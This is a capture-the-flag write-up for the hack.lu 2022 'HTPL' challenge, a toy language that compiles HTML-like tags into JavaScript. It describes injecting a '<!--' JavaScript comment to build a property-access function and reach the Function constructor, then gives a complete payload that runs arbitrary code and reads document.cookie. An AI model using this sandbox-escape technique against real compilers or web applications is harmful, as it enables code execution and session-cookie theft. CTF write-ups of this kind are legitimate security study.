hack.lu 2022 HTPL wp
Background
The challenge implements a language called Hyper Text Programming Language, which defined some tags and compiles them into javascript to make html could do real computation.
Solution
First we noticed that the HTPL code we wrote renders via innerHTML
, but the strict CSP makes it unexploitable.
So let’s turn to the HTPL part. The HTPL code’s compilation is based on ast, which supports only a few nodes: io, array, function, literals, binary and unary operators, assignments and control flows.
But it did not support to get elements from an array or something like . operator to access attrs. And we could not make such a function via a valid HTPL.
As the compiler starts a new line each expression when compiles into javascript, if we could make it comment a part of code, here might be a way to construct a function works like attr()
.
To make it happen, we need to know all three types of javascript comments:
/* */
//
<!--
We could not make use of first two types, but for the third one, it’s a combination of lt
, not
and dec
. Now we can construct a attr()
function:
<x-func>
<x-parameters>
<x-identifier>obj</x-identifier>
<x-identifier>key</x-identifier>
</x-parameters>
<x-return>
<x-lt>
<x-identifier>obj</x-identifier>
<x-not>
<x-dec>
<x-identifier>x</x-identifier>
</x-dec>
</x-not>
</x-lt>
</x-return>
<x-array>
<x-identifier>key</x-identifier>
</x-array>
</x-func>
Which compiles to:
($obj$, $key$) => {
return $obj$<!--$x$;
[$key$];
};
// ($obj$, $key$) => {
// return $obj$[$key$];
// }
Next, we could get Function()
by true['constructor']['constructor']
, and we have javascript now.
Payload
<x-program>
<x-const>
<x-identifier>attr</x-identifier>
<x-func>
<x-parameters>
<x-identifier>obj</x-identifier>
<x-identifier>key</x-identifier>
</x-parameters>
<x-return>
<x-lt>
<x-identifier>obj</x-identifier>
<x-not>
<x-dec>
<x-identifier>x</x-identifier>
</x-dec>
</x-not>
</x-lt>
</x-return>
<x-array>
<x-identifier>key</x-identifier>
</x-array>
</x-func>
</x-const>
<x-const>
<x-identifier>Function</x-identifier>
<x-call>
<x-identifier>attr</x-identifier>
<x-call>
<x-identifier>attr</x-identifier>
<x-true></x-true>
<x-str>constructor</x-str>
</x-call>
<x-str>constructor</x-str>
</x-call>
</x-const>
<x-const>
<x-identifier>eval</x-identifier>
<x-func>
<x-parameters>
<x-identifier>code</x-identifier>
</x-parameters>
<x-return>
<x-call>
<x-call>
<x-identifier>Function</x-identifier>
<x-identifier>code</x-identifier>
</x-call>
</x-call>
</x-return>
</x-const>
<x-write>
<x-call>
<x-identifier>eval</x-identifier>
<x-str contenteditable="true">return document.cookie</x-str>
</x-call>
</x-write>
</x-program>